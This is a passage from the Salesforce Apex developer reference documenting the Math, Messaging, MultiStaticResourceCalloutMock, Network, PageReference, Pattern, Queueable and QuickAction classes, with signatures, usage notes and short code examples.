Returns the trigonometric tangent of the angle specified by decimalAngle.
Signature
public static Decimal tan(Decimal decimalAngle)
2418
Math ClassReference
Parameters
decimalAngle
Type: Decimal
Return Value
Type: Decimal
tan(doubleAngle)
Returns the trigonometric tangent of the angle specified by doubleAngle.
Signature
public static Double tan(Double doubleAngle)
Parameters
doubleAngle
Type: Double
Return Value
Type: Double
tanh(decimalAngle)
Returns the hyperbolic tangent of decimalAngle. The hyperbolic tangent of decimalAngle is defined to be (ex - e-x)/(ex + e-x)
where e is Euler's number. In other words, it is equivalent to sinh(x)/cosinh(x). The absolute value of the exact tanh is always
less than 1.
Signature
public static Decimal tanh(Decimal decimalAngle)
Parameters
decimalAngle
Type: Decimal
Return Value
Type: Decimal
tanh(doubleAngle)
Returns the hyperbolic tangent of doubleAngle. The hyperbolic tangent of doubleAngle is defined to be (ex - e-x)/(ex + e-x)
where e is Euler's number. In other words, it is equivalent to sinh(x)/cosinh(x). The absolute value of the exact tanh is always
less than 1.
2419
Math ClassReference
Signature
public static Double tanh(Double doubleAngle)
Parameters
doubleAngle
Type: Double
Return Value
Type: Double
Messaging Class
Contains messaging methods used when sending a single or mass email.
Namespace
System
Messaging Methods
The following are methods for Messaging. All are instance methods.
IN THIS SECTION:
reserveMassEmailCapacity(amountReserved)
Reserves email capacity to send mass email to the specified number of email addresses, after the current transaction commits.
reserveSingleEmailCapacity(amountReserved)
Reserves email capacity to send single email to the specified number of email addresses, after the current transaction commits.
sendEmail(emails, allOrNothing)
Sends the list of email objects instantiated with either SingleEmailMessage or MassEmailMessage and returns a list
of SendEmailResult objects.
sendEmailMessage(emailMessageIds, allOrNothing)
Sends up to 10 draft email messages as defined by the specified email message IDs and returns a list of SendEmailResult objects.
renderEmailTemplate(whoId, whatId, bodies)
Replaces merge fields in text bodies of email templates with values from Salesforce records. Returns an array of
RenderEmailTemplateBodyResult objects, each of which corresponds to an element in the supplied array of text bodies.
Each RenderEmailTemplateBodyResult provides a success or failure indication, along with either an error code or the
rendered text.
renderStoredEmailTemplate(templateId, whoId, whatId)
Renders a text, custom, HTML, or Visualforce email template that exists in the database into an instance of
Messaging.SingleEmailMessage.
2420
Messaging ClassReference
reserveMassEmailCapacity(amountReserved)
Reserves email capacity to send mass email to the specified number of email addresses, after the current transaction commits.
Signature
public Void reserveMassEmailCapacity(Integer amountReserved)
Parameters
amountReserved
Type: Integer
Return Value
Type: Void
Usage
This method can be called when you know in advance how many addresses emails will be sent to as a result of the transaction.If the
transaction would cause the organization to exceed its daily email limit, using this method results in the following error:
System.HandledException: The daily limit for the org would be exceeded by this request.If
the organization doesn’t have permission to send API or mass email, using this method results in the following error:
System.NoAccessException: The organization is not permitted to send email.
reserveSingleEmailCapacity(amountReserved)
Reserves email capacity to send single email to the specified number of email addresses, after the current transaction commits.
Signature
public Void reserveSingleEmailCapacity(Integer amountReserved)
Parameters
amountReserved
Type: Integer
Return Value
Type: Void
Usage
This method can be called when you know in advance how many addresses emails will be sent to as a result of the transaction.If the
transaction would cause the organization to exceed its daily email limit, using this method results in the following error:
System.HandledException: The daily limit for the org would be exceeded by this request.If
the organization doesn’t have permission to send API or mass email, using this method results in the following error:
System.NoAccessException: The organization is not permitted to send email.
2421
Messaging ClassReference
sendEmail(emails, allOrNothing)
Sends the list of email objects instantiated with either SingleEmailMessage or MassEmailMessage and returns a list of
SendEmailResult objects.
Signature
public Messaging.SendEmailResult[] sendEmail(Messaging.Email[] emails, Boolean
allOrNothing)
Parameters
emails
Type: Messaging.Email[]
allOrNothing
Type: Boolean
The optional opt_allOrNone parameter specifies whether sendEmail prevents delivery of all other messages when any of
the messages fail due to an error (true), or whether it allows delivery of the messages that don't have errors (false). The default
is true.
Return Value
Type: Messaging.SendEmailResult[]
sendEmailMessage(emailMessageIds, allOrNothing)
Sends up to 10 draft email messages as defined by the specified email message IDs and returns a list of SendEmailResult objects.
Signature
public Messaging.SendEmailResult[] sendEmailMessage(List<ID> emailMessageIds, Boolean
allOrNothing)
Parameters
emailMessageIds
Type: List<ID>
allOrNothing
Type: Boolean
Return Value
Type: Messaging.SendEmailResult[]
Usage
The sendEmailMessage method assumes that the optional opt_allOrNone parameter is always false and ignores the
value you set. This optional parameter specifies whether sendEmailMessage prevents delivery of all other messages when any of
the messages fail due to an error (true), or whether it allows delivery of the messages that don't have errors (false).
2422
Messaging ClassReference
Example
This example shows how to send a draft email message. It creates a case and a new email message associated with the case. Next, the
example sends a draft email message and checks the results. Before running this example, make sure to replace the email address with
a valid address.
Case c = new Case();
insert c;
EmailMessage e = new EmailMessage();
e.parentid = c.id;
// Set to draft status.
// This status is required
// for sendEmailMessage().
e.Status = '5';
e.TextBody =
'Sample email message.';
e.Subject = 'Apex sample';
e.ToAddress = 'customer@email.com';
insert e;
List<Messaging.SendEmailResult>
results =
Messaging.sendEmailMessage(new ID[]
{ e.id });
System.assertEquals(1, results.size());
System.assertEquals(true,
results[0].success);
renderEmailTemplate(whoId, whatId, bodies)
Replaces merge fields in text bodies of email templates with values from Salesforce records. Returns an array of
RenderEmailTemplateBodyResult objects, each of which corresponds to an element in the supplied array of text bodies.
Each RenderEmailTemplateBodyResult provides a success or failure indication, along with either an error code or the
rendered text.
Signature
public static List<Messaging.RenderEmailTemplateBodyResult> renderEmailTemplate(String
whoId, String whatId, List<String> bodies)
Parameters
whoId
Type: String
The identifier of an object in the database, typically a contact, lead, or user. The database record for that object is read and used in
merge field processing.
whatId
Type: String
Identifies an object in the database like an account or opportunity. The record for that object is read and used in merge field processing.
2423
Messaging ClassReference
bodies
Type: List<String>
An array of strings that are examined for merge field references. The corresponding data from the object referenced by the whoId
or whatId replaces the merge field reference.
Return Value
Type: List<Messaging.RenderEmailTemplateBodyResult>
Usage
Use this method in situations in which you want to dynamically compose blocks of text that are enriched with data from the database.
You can then use the the rendered blocks of text to compose and send an email or update a text value in another database record.
Executing the renderEmailTemplate method counts toward the SOQL governor limit. The number of SOQL queries that this
method consumes is the number of elements in the list of strings passed in the bodies parameter.
SEE ALSO:
Execution Governors and Limits
renderStoredEmailTemplate(templateId, whoId, whatId)
Renders a text, custom, HTML, or Visualforce email template that exists in the database into an instance of
Messaging.SingleEmailMessage.
Signature
public static Messaging.SingleEmailMessage renderStoredEmailTemplate(String templateId,
String whoId, String whatId)
Parameters
templateId
Type: String
An email template that exists in the database, such as text, HTML, custom, and Visualforce templates.
whoId
Type: String
The identifier of an object in the database, typically a contact, lead, or user. The database record for that object is read and used in
merge field processing.
whatId
Type: String
Identifies an object in the database, like an account or opportunity. The record for that object is read and used in merge field
processing.
Return Value
Type: Messaging.SingleEmailMessage
2424
Messaging ClassReference
Usage
Executing the renderStoredEmailTemplate method counts toward the SOQL governor limit as one query.
SEE ALSO:
Execution Governors and Limits
MultiStaticResourceCalloutMock Class
Utility class used to specify a fake response using multiple resources for testing HTTP callouts.
Namespace
System
Usage
Use the methods in this class to set the response properties for testing HTTP callouts. You can specify a resource for each endpoint.
IN THIS SECTION:
MultiStaticResourceCalloutMock Constructors
MultiStaticResourceCalloutMock Methods
MultiStaticResourceCalloutMock Constructors
The following are constructors for MultiStaticResourceCalloutMock.
IN THIS SECTION:
MultiStaticResourceCalloutMock()
Creates a new instance of the System.MultiStaticResourceCalloutMock class.
MultiStaticResourceCalloutMock()
Creates a new instance of the System.MultiStaticResourceCalloutMock class.
Signature
public MultiStaticResourceCalloutMock()
MultiStaticResourceCalloutMock Methods
The following are methods for MultiStaticResourceCalloutMock. All are instance methods.
IN THIS SECTION:
setHeader(headerName, headerValue)
Sets the specified header name and value for the fake response.
2425
MultiStaticResourceCalloutMock ClassReference
setStaticResource(endpoint, resourceName)
Sets the specified static resource corresponding to the endpoint. The static resource contains the response body.
setStatus(httpStatus)
Sets the specified HTTP status for the response.
setStatusCode(httpStatusCode)
Sets the specified HTTP status code for the response.
setHeader(headerName, headerValue)
Sets the specified header name and value for the fake response.
Signature
public Void setHeader(String headerName, String headerValue)
Parameters
headerName
Type: String
headerValue
Type: String
Return Value
Type: Void
setStaticResource(endpoint, resourceName)
Sets the specified static resource corresponding to the endpoint. The static resource contains the response body.
Signature
public Void setStaticResource(String endpoint, String resourceName)
Parameters
endpoint
Type: String
resourceName
Type: String
Return Value
Type: Void
setStatus(httpStatus)
Sets the specified HTTP status for the response.
2426
MultiStaticResourceCalloutMock ClassReference
Signature
public Void setStatus(String httpStatus)
Parameters
httpStatus
Type: String
Return Value
Type: Void
setStatusCode(httpStatusCode)
Sets the specified HTTP status code for the response.
Signature
public Void setStatusCode(Integer httpStatusCode)
Parameters
httpStatusCode
Type: Integer
Return Value
Type: Void
Network Class
Represents a community.
Namespace
System
Usage
Use the method in the Network class to determine which community a user is currently logged into.
IN THIS SECTION:
Network Constructors
Network Methods
Network Constructors
The following are constructors for Network.
2427
Network ClassReference
IN THIS SECTION:
Network()
Creates a new instance of the System.Network class.
Network()
Creates a new instance of the System.Network class.
Signature
public Network()
Network Methods
The following are methods for Network. All methods are static.
IN THIS SECTION:
communitiesLanding()
Returns a Page Reference to the default landing page for the community. This is the first tab of the community.
forwardToAuthPage(startURL)
Returns a Page Reference to the default login page. StartURL is included as a query paremeter for where to redirect after a successful
login.
getLoginUrl(networkId)
Returns the absolute URL of the login page used by the community.
getLogoutUrl(networkId)
Returns the absolute URL of the logout page used by the community.
getNetworkId()
Returns the user’s current community.
getSelfRegUrl(networkId)
Returns the absolute URL of the self-registration page used by the community.
loadAllPackageDefaultNetworkDashboardSettings()
Maps the dashboards from the Salesforce Communities Management package onto each community’s unconfigured dashboard
settings. Returns the number of settings it configures.
loadAllPackageDefaultNetworkPulseSettings()
Maps the Insights reports from the Salesforce Communities Management package onto each community’s unconfigured Insights
settings. Returns the number of settings it configures.
communitiesLanding()
Returns a Page Reference to the default landing page for the community. This is the first tab of the community.
Signature
public static String communitiesLanding()
2428
Network ClassReference
Return Value
Type: PageReference
Usage
If Communities isn’t enabled for the user’s organization or the user is currently in the internal organization, returns null.
forwardToAuthPage(startURL)
Returns a Page Reference to the default login page. StartURL is included as a query paremeter for where to redirect after a successful
login.
Signature
public static PageReference forwardToAuthPage(String startURL)
Parameters
startURL
Type: String
Return Value
Type: PageReference
Usage
If Communities isn’t enabled for the user’s organization or the user is currently in the internal organization, returns null.
getLoginUrl(networkId)
Returns the absolute URL of the login page used by the community.
Signature
public static String getLoginUrl(String networkId)
Parameters
networkId
Type: String
The ID of the community you’re retrieving this information for.
Return Value
Type: String
Usage
Returns the full URL for the Force.com or Community Builder page used as the login page in the community.
2429
Network ClassReference
getLogoutUrl(networkId)
Returns the absolute URL of the logout page used by the community.
Signature
public static String getLogoutUrl(String networkId)
Parameters
networkId
Type: String
The ID of the community you’re retrieving this information for.
Return Value
Type: String
Usage
Returns the full URL for the Force.com page, Community Builder page, or Web page used as the logout page in the community.
getNetworkId()
Returns the user’s current community.
Signature
public static String getNetworkId()
Return Value
Type: String
Usage
If Communities isn’t enabled for the user’s organization or the user is currently in the internal organization, returns null.
getSelfRegUrl(networkId)
Returns the absolute URL of the self-registration page used by the community.
Signature
public static String getSelfRegUrl(String networkId)
Parameters
networkId
Type: String
The ID of the community you’re retrieving this information for.
2430
Network ClassReference
Return Value
Type: String
Usage
Returns the full URL for the Force.com or Community Builder page used as the self-registration page in the community.
loadAllPackageDefaultNetworkDashboardSettings()
Maps the dashboards from the Salesforce Communities Management package onto each community’s unconfigured dashboard settings.
Returns the number of settings it configures.
Signature
public static Integer loadAllPackageDefaultNetworkDashboardSettings()
Return Value
Type: Integer
Usage
If Communities is enabled, and the Salesforce Communities Management package is installed, maps the dashboards provided in the
package onto each community’s unconfigured dashboard settings. Returns the number of settings it configures. This method is invoked
automatically during community creation and package installation, but isn’t typically invoked manually.
If Communities isn’t enabled for the user’s organization or the user is in the internal organization, returns 0.
loadAllPackageDefaultNetworkPulseSettings()
Maps the Insights reports from the Salesforce Communities Management package onto each community’s unconfigured Insights settings.
Returns the number of settings it configures.
Signature
public static Integer loadAllPackageDefaultNetworkPulseSettings()
Return Value
Type: Integer
Usage
If Communities is enabled, and the Salesforce Communities Management package is installed, maps the Insights reports provided in
the package onto each community’s unconfigured Insights settings. Returns the number of settings it configures. This method is invoked
automatically during community creation and package installation, but isn’t typically invoked manually.
If Communities isn’t enabled for the user’s organization or the user is in the internal organization, returns 0.
2431
Network ClassReference
PageReference Class
A PageReference is a reference to an instantiation of a page. Among other attributes, PageReferences consist of a URL and a set of query
parameter names and values.
Namespace
System
Use a PageReference object:
•To view or set query string parameters and values for a page
•To navigate the user to a different page as the result of an action method
Instantiation
In a custom controller or controller extension, you can refer to or instantiate a PageReference in one of the following ways:
•Page.existingPageName
Refers to a PageReference for a Visualforce page that has already been saved in your organization. By referring to a page in this way,
the platform recognizes that this controller or controller extension is dependent on the existence of the specified page and will
prevent the page from being deleted while the controller or extension exists.
•PageReference pageRef = new PageReference('partialURL');
Creates a PageReference to any page that is hosted on the Force.com platform. For example, setting 'partialURL' to
'/apex/HelloWorld' refers to the Visualforce page located at
http://mySalesforceInstance/apex/HelloWorld. Likewise, setting 'partialURL' to '/' + 'recordID'
refers to the detail page for the specified record.
This syntax is less preferable for referencing other Visualforce pages than Page.existingPageName because the PageReference
is constructed at runtime, rather than referenced at compile time. Runtime references are not available to the referential integrity
system. Consequently, the platform doesn't recognize that this controller or controller extension is dependent on the existence of
the specified page and won't issue an error message to prevent user deletion of the page.
•PageReference pageRef = new PageReference('fullURL');
Creates a PageReference for an external URL. For example:
PageReference pageRef = new PageReference('http://www.google.com');
You can also instantiate a PageReference object for the current page with the currentPage ApexPages method. For example:
PageReference pageRef = ApexPages.currentPage();
Request Headers
The following table is a non-exhaustive list of headers that are set on requests.
2432
PageReference ClassReference
DescriptionHeader
The host name requested in the request URL. This header is always set on Force.com Site requests
and My Domain requests. This header is optional on other requests when HTTP/1.0 is used instead
of HTTP/1.1.
Host
The URL that is either included or linked to the current request's URL. This header is optional.Referer
The name, version, and extension support of the program that initiated this request, such as a Web
browser. This header is optional and can be overridden in most browsers to be a different value.
Therefore, this header should not be relied upon.
User-Agent
If this header exists and has a non-blank value, this means that the request is using HTTPS. Otherwise,
the request is using HTTP. The contents of a non-blank value are not defined by this API, and can
be changed without notice.
CipherSuite
The source IP address of the request. This header is always set on HTTP and HTTPS requests that
are initiated outside of Salesforce's data centers.
X-Salesforce-SIP
Note: If a request passes through a content delivery network (CDN) or proxy server, the
source IP address might be altered, and no longer the original client IP address.
The fully qualified domain name of the Salesforce instance that is handling this request. This header
is always set on HTTP and HTTPS requests that are initiated outside of Salesforce's data centers.
X-Salesforce-Forwarded-To
Example: Retrieving Query String Parameters
The following example shows how to use a PageReference object to retrieve a query string parameter in the current page URL. In this
example, the getAccount method references the id query string parameter:
public class MyController {
public Account getAccount() {
return [SELECT Id, Name FROM Account
WHERE Id = :ApexPages.currentPage().getParameters().get('Id')];
}
}
The following page markup calls the getAccount method from the controller above:
<apex:page controller="MyController">
<apex:pageBlock title="Retrieving Query String Parameters">
You are viewing the {!account.name} account.
</apex:pageBlock>
</apex:page>
Note: For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For
example, if 001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/MyFirstPage?id=001D000000IRt53
The getAccount method uses an embedded SOQL query to return the account specified by the id parameter in the URL of the
page. To access id, the getAccount method uses the ApexPages namespace:
2433
PageReference ClassReference
•First the currentPage method returns the PageReference instance for the current page. PageReference returns a
reference to a Visualforce page, including its query string parameters.
•Using the page reference, use the getParameters method to return a map of the specified query string parameter names and
values.
•Then a call to the get method specifying id returns the value of the id parameter itself.
Example: Navigating to a New Page as the Result of an Action Method
Any action method in a custom controller or controller extension can return a PageReference object as the result of the method. If the
redirect attribute on the PageReference is set to true, the user navigates to the URL specified by the PageReference.
The following example shows how this can be implemented with a save method. In this example, the PageReference returned by
the save method redirects the user to the detail page for the account record that was just saved:
public class mySecondController {
Account account;
public Account getAccount() {
if(account == null) account = new Account();
return account;
}
public PageReference save() {
// Add the account to the database.
insert account;
// Send the user to the detail page for the new account.
PageReference acctPage = new ApexPages.StandardController(account).view();
acctPage.setRedirect(true);
return acctPage;
}
}
The following page markup calls the save method from the controller above. When a user clicks Save, he or she is redirected to the
detail page for the account just created:
<apex:page controller="mySecondController" tabStyle="Account">
<apex:sectionHeader title="New Account Edit Page" />
<apex:form>
<apex:pageBlock title="Create a New Account">
<apex:pageBlockButtons location="bottom">
<apex:commandButton action="{!save}" value="Save"/>
</apex:pageBlockButtons>
<apex:pageBlockSection title="Account Information">
<apex:inputField id="accountName" value="{!account.name}"/>
<apex:inputField id="accountSite" value="{!account.site}"/>
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:page>
IN THIS SECTION:
PageReference Constructors
2434
PageReference ClassReference
PageReference Methods
PageReference Constructors
The following are constructors for PageReference.
IN THIS SECTION:
PageReference(partialURL)
Creates a new instance of the PageReference class using the specified URL.
PageReference(record)
Creates a new instance of the PageReference class for the specified sObject record.
PageReference(partialURL)
Creates a new instance of the PageReference class using the specified URL.
Signature
public PageReference(String partialURL)
Parameters
partialURL
Type: String
The partial URL of a page hosted on the Force.com platform or a full external URL. The following are some examples of the
partialURL parameter values:
•/apex/HelloWorld: refers to the Visualforce page located at
http://mySalesforceInstance/apex/HelloWorld.
•/recordID: refers to the detail page of a specified record.
•http://www.google.com: refers to an external URL.
PageReference(record)
Creates a new instance of the PageReference class for the specified sObject record.
Signature
public PageReference(SObject record)
Parameters
record
Type: SObject
The sObject record to create a page reference for.
2435
PageReference ClassReference
PageReference Methods
The following are methods for PageReference. All are instance methods.
IN THIS SECTION:
getAnchor()
Returns the name of the anchor referenced in the page’s URL. That is, the part of the URL after the hashtag (#).
getContent()
Returns the output of the page, as displayed to a user in a web browser.
getContentAsPDF()
Returns the page in PDF, regardless of the <apex:page> component’s renderAs attribute.
getCookies()
Returns a map of cookie names and cookie objects, where the key is a String of the cookie name and the value contains the list of
cookie objects with that name.
getHeaders()
Returns a map of the request headers, where the key string contains the name of the header, and the value string contains the value
of the header.
getParameters()
Returns a map of the query string parameters that are included in the page URL. The key string contains the name of the parameter,
while the value string contains the value of the parameter.
getRedirect()
Returns the current value of the PageReference object's redirect attribute.
getUrl()
Returns the relative URL associated with the PageReference when it was originally defined, including any query string parameters
and anchors.
setAnchor(anchor)
Sets the URL’s anchor reference to the specified string.
setCookies(cookies)
Creates a list of cookie objects. Used in conjunction with the Cookie class.
setRedirect(redirect)
Sets the value of the PageReference object's redirect attribute. If set to true, a redirect is performed through a client side
redirect.
getAnchor()
Returns the name of the anchor referenced in the page’s URL. That is, the part of the URL after the hashtag (#).
Signature
public String getAnchor()
Return Value
Type: String
2436
PageReference ClassReference
getContent()
Returns the output of the page, as displayed to a user in a web browser.
Signature
public Blob getContent()
Return Value
Type: Blob
Usage
The content of the returned Blob depends on how the page is rendered. If the page is rendered as a PDF file, it returns the PDF document.
If the page is not rendered as PDF, it returns HTML. To access the content of the returned HTML as a string, use the toString Blob
method.
Note: If you use getContent in a test method, the test method fails. getContent is treated as a callout in API version
34.0 and later.
This method can’t be used in:
•Triggers
•Test methods
•Apex email services
If the Visualforce page has an error, an ExecutionException is thrown.
getContentAsPDF()
Returns the page in PDF, regardless of the <apex:page> component’s renderAs attribute.
Signature
public Blob getContentAsPDF()
Return Value
Type: Blob
Usage
Note: If you use getContentAsPDF in a test method, the test method fails. getContentAsPDF is treated as a callout
in API version 34.0 and later.
This method can’t be used in:
•Triggers
•Test methods
•Apex email services
2437
PageReference ClassReference
getCookies()
Returns a map of cookie names and cookie objects, where the key is a String of the cookie name and the value contains the list of cookie
objects with that name.
Signature
public Map<String, System.Cookie[]> getCookies()
Return Value
Type: Map<String, System.Cookie[]>
Usage
Used in conjunction with the Cookie class. Only returns cookies with the “apex__” prefix set by the setCookies method.
getHeaders()
Returns a map of the request headers, where the key string contains the name of the header, and the value string contains the value of
the header.
Signature
public Map<String,String> getHeaders()
Return Value
Type: Map<String, String>
Usage
This map can be modified and remains in scope for the PageReference object. For instance, you could do:
PageReference.getHeaders().put('Date','9/9/99');
For a description of request headers, see Request Headers.
getParameters()
Returns a map of the query string parameters that are included in the page URL. The key string contains the name of the parameter,
while the value string contains the value of the parameter.
Signature
public Map<String,String> getParameters()
Return Value
Type: Map<String, String>
2438
PageReference ClassReference
Usage
This map can be modified and remains in scope for the PageReference object. For instance, you could do:
PageReference.getParameters().put('id', myID);
Parameter keys are case-insensitive. For example:
System.assert(
ApexPages.currentPage().getParameters().get('myParamName') ==
ApexPages.currentPage().getParameters().get('myparamname'));
getRedirect()
Returns the current value of the PageReference object's redirect attribute.
Signature
public Boolean getRedirect()
Return Value
Type: Boolean
Usage
Note that if the URL of the PageReference object is set to a website outside of the salesforce.com domain, the redirect always
occurs, regardless of whether the redirect attribute is set to true or false.
getUrl()
Returns the relative URL associated with the PageReference when it was originally defined, including any query string parameters and
anchors.
Signature
public String getUrl()
Return Value
Type: String
setAnchor(anchor)
Sets the URL’s anchor reference to the specified string.
Signature
public System.PageReference setAnchor(String anchor)
2439
PageReference ClassReference
Parameters
anchor
Type: String
Return Value
Type: System.PageReference
Example
For example, https://Salesforce_instance/apex/my_page#anchor1.
setCookies(cookies)
Creates a list of cookie objects. Used in conjunction with the Cookie class.
Signature
public Void setCookies(Cookie[] cookies)
Parameters
cookies
Type: System.Cookie[]
Return Value
Type: Void
Usage
Important:
•Cookie names and values set in Apex are URL encoded, that is, characters such as @ are replaced with a percent sign and their
hexadecimal representation.
•The setCookies method adds the prefix “apex__” to the cookie names.
•Setting a cookie's value to null sends a cookie with an empty string value instead of setting an expired attribute.
•After you create a cookie, the properties of the cookie can't be changed.
•Be careful when storing sensitive information in cookies. Pages are cached regardless of a cookie value. If you use a cookie
value to generate dynamic content, you should disable page caching. For more information, see “Caching Force.com Sites
Pages” in the Salesforce online help.
setRedirect(redirect)
Sets the value of the PageReference object's redirect attribute. If set to true, a redirect is performed through a client side redirect.
Signature
public System.PageReference setRedirect(Boolean redirect)
2440
PageReference ClassReference
Parameters
redirect
Type: Boolean
Return Value
Type: System.PageReference
Usage
This type of redirect performs an HTTP GET request, and flushes the view state, which uses POST. If set to false, the redirect is a
server-side forward that preserves the view state if and only if the target page uses the same controller and contains the proper subset
of extensions used by the source page.
Note that if the URL of the PageReference object is set to a website outside of the salesforce.com domain, or to a page with a
different controller or controller extension, the redirect always occurs, regardless of whether the redirect attribute is set to true
or false.
Pattern Class
Represents a compiled representation of a regular expression.
Namespace
System
Pattern Methods
The following are methods for Pattern.
IN THIS SECTION:
compile(regExp)
Compiles the regular expression into a Pattern object.
matcher(regExp)
Creates a Matcher object that matches the input string regExp against this Pattern object.
matches(regExp, stringtoMatch)
Compiles the regular expression regExp and tries to match it against the specified string. This method returns true if the
specified string matches the regular expression, false otherwise.
pattern()
Returns the regular expression from which this Pattern object was compiled.
quote(yourString)
Returns a string that can be used to create a pattern that matches the string yourString as if it were a literal pattern.
split(regExp)
Returns a list that contains each substring of the String that matches this pattern.
2441
Pattern ClassReference
split(regExp, limit)
Returns a list that contains each substring of the String that is terminated either by the regular expression regExp that matches
this pattern, or by the end of the String.
compile(regExp)
Compiles the regular expression into a Pattern object.
Signature
public static Pattern compile(String regExp)
Parameters
regExp
Type: String
Return Value
Type: System.Pattern
matcher(regExp)
Creates a Matcher object that matches the input string regExp against this Pattern object.
Signature
public Matcher matcher(String regExp)
Parameters
regExp
Type: String
Return Value
Type: Matcher
matches(regExp, stringtoMatch)
Compiles the regular expression regExp and tries to match it against the specified string. This method returns true if the specified
string matches the regular expression, false otherwise.
Signature
public static Boolean matches(String regExp, String stringtoMatch)
Parameters
regExp
Type: String
2442
Pattern ClassReference
stringtoMatch
Type: String
Return Value
Type: Boolean
Usage
If a pattern is to be used multiple times, compiling it once and reusing it is more efficient than invoking this method each time.
Example
Note that the following code example:
Pattern.matches(regExp, input);
produces the same result as this code example:
Pattern.compile(regex).
matcher(input).matches();
pattern()
Returns the regular expression from which this Pattern object was compiled.
Signature
public String pattern()
Return Value
Type: String
quote(yourString)
Returns a string that can be used to create a pattern that matches the string yourString as if it were a literal pattern.
Signature
public static String quote(String yourString)
Parameters
yourString
Type: String
Return Value
Type: String
2443
Pattern ClassReference
Usage
Metacharacters (such as $ or ^) and escape sequences in the input string are treated as literal characters with no special meaning.
split(regExp)
Returns a list that contains each substring of the String that matches this pattern.
Signature
public String[] split(String regExp)
Parameters
regExp
Type: String
Return Value
Type: String[]
Note: In API version 34.0 and earlier, a zero-width regExp value produces an empty list item at the beginning of the method’s
output.
Usage
The substrings are placed in the list in the order in which they occur in the String. If regExp does not match the pattern, the resulting
list has just one element containing the original String.
split(regExp, limit)
Returns a list that contains each substring of the String that is terminated either by the regular expression regExp that matches this
pattern, or by the end of the String.
Signature
public String[] split(String regExp, Integer limit)
Parameters
regExp
Type: String
limit
Type: Integer
(Optional) Controls the number of times the pattern is applied and therefore affects the length of the list.
•If limit is greater than zero:
–The pattern is applied a maximum of (limit – 1) times.
–The list’s length is no greater than limit.
–The list’s last entry contains all input beyond the last matched delimiter.
2444
Pattern ClassReference
•If limit is non-positive, the pattern is applied as many times as possible, and the list can have any length.
•If limit is zero, the pattern is applied as many times as possible, the list can have any length, and trailing empty strings are
discarded.
Return Value
Type: String[]
Note: In API version 34.0 and earlier, a zero-width regExp value produces an empty list item at the beginning of the method’s
output.
Queueable Interface
Enables the asynchronous execution of Apex jobs that can be monitored.
Namespace
System
Usage
To execute Apex as an asynchronous job, implement the Queueable interface and add the processing logic in your implementation
of the execute method.
To implement the Queueable interface, you must first declare a class with the implements keyword as follows:
public class MyQueueableClass implements Queueable {
Next, your class must provide an implementation for the following method:
public void execute(QueueableContext context) {
// Your code here
}
Your class and method implementation must be declared as public or global.
To submit your class for asynchronous execution, call the System.enqueueJob by passing it an instance of your class implementation
of the Queueable interface as follows:
ID jobID = System.enqueueJob(new MyQueueableClass());
IN THIS SECTION:
Queueable Methods
Queueable Example Implementation
SEE ALSO:
Queueable Apex
2445
Queueable InterfaceReference
Queueable Methods
The following are methods for Queueable.
IN THIS SECTION:
execute(context)
Executes the queueable job.
execute(context)
Executes the queueable job.
Signature
public void execute(QueueableContext context)
Parameters
context
Type: QueueableContext
Contains the job ID.
Return Value
Type: Void
Queueable Example Implementation
This example is an implementation of the Queueable interface. The execute method in this example inserts a new account.
public class AsyncExecutionExample implements Queueable {
public void execute(QueueableContext context) {
Account a = new Account(Name='Acme',Phone='(415) 555-1212');
insert a;
}
}
To add this class as a job on the queue, call this method:
ID jobID = System.enqueueJob(new AsyncExecutionExample());
After you submit your queueable class for execution, the job is added to the queue and will be processed when system resources become
available. You can monitor the status of your job programmatically by querying AsyncApexJob or through the user interface in Setup
by entering Apex Jobs in the Quick Find box, then selecting Apex Jobs.
To query information about your submitted job, perform a SOQL query on AsyncApexJob by filtering on the job ID that the
System.enqueueJob method returns. This example uses the jobID variable that was obtained in the previous example.
AsyncApexJob jobInfo = [SELECT Status,NumberOfErrors FROM AsyncApexJob WHERE Id=:jobID];
Similar to future jobs, queueable jobs don’t process batches, and so the number of processed batches and the number of total batches
are always zero.
2446
Queueable InterfaceReference
Testing Queueable Jobs
This example shows how to test the execution of a queueable job in a test method. A queueable job is an asynchronous process. To
ensure that this process runs within the test method, the job is submitted to the queue between the Test.startTest and
Test.stopTest block. The system executes all asynchronous processes started in a test method synchronously after the
Test.stopTest statement. Next, the test method verifies the results of the queueable job by querying the account that the job
created.
@isTest
public class AsyncExecutionExampleTest {
static testmethod void test1() {
// startTest/stopTest block to force async processes
// to run in the test.
Test.startTest();
System.enqueueJob(new AsyncExecutionExample());
Test.stopTest();
// Validate that the job has run
// by verifying that the record was created.
// This query returns only the account created in test context by the
// Queueable class method.
Account acct = [SELECT Name,Phone FROM Account WHERE Name='Acme' LIMIT 1];
System.assertNotEquals(null, acct);
System.assertEquals('(415) 555-1212', acct.Phone);
}
}
Note: The ID of a queueable Apex job isn’t returned in test context—System.enqueueJob returns null in a running test.
QueueableContext Interface
Represents the parameter type of the execute() method in a class that implements the Queueable interface and contains the
job ID. This interface is implemented internally by Apex.
Namespace
System
QueueableContext Methods
The following are methods for QueueableContext.
IN THIS SECTION:
getJobId()
Returns the ID of the submitted job that uses the Queueable interface.
getJobId()
Returns the ID of the submitted job that uses the Queueable interface.
2447
QueueableContext InterfaceReference
Signature
public ID getJobId()
Return Value
Type: ID
The ID of the submitted job.
QuickAction Class
Use Apex to request and process actions on objects that allow custom fields, on objects that appear in a Chatter feed, or on objects that
are available globally.
Namespace
System
Example
In this sample, the trigger determines if the new contacts to be inserted are created by a quick action. If so, it sets the WhereFrom__c
custom field to a value that depends on whether the quick action is global or local to the contact. Otherwise, if the inserted contacts
don’t originate from a quick action, the WhereFrom__c field is set to 'NoAction'.
trigger accTrig2 on Contact (before insert) {
for (Contact c : Trigger.new) {
if (c.getQuickActionName() == QuickAction.CreateContact) {
c.WhereFrom__c = 'GlobaActionl';
}else if (c.getQuickActionName() == Schema.Account.QuickAction.CreateContact) {
c.WhereFrom__c = 'AccountAction';
}else if (c.getQuickActionName() == null) {
c.WhereFrom__c = 'NoAction';
}else {
System.assert(false);
}
}
}
This sample performs a global action—QuickAction.CreateContact–on the passed-in contact object.
public Id globalCreate(Contact c) {
QuickAction.QuickActionRequest req = new QuickAction.QuickActionRequest();
req.quickActionName = QuickAction.CreateContact;
req.record = c;
QuickAction.QuickActionResult res = QuickAction.performQuickAction(req);
return c.id;
}
SEE ALSO:
QuickActionRequest Class
QuickActionResult Class
2448
QuickAction ClassReference
QuickAction Methods
The following are methods for QuickAction. All methods are static.
IN THIS SECTION:
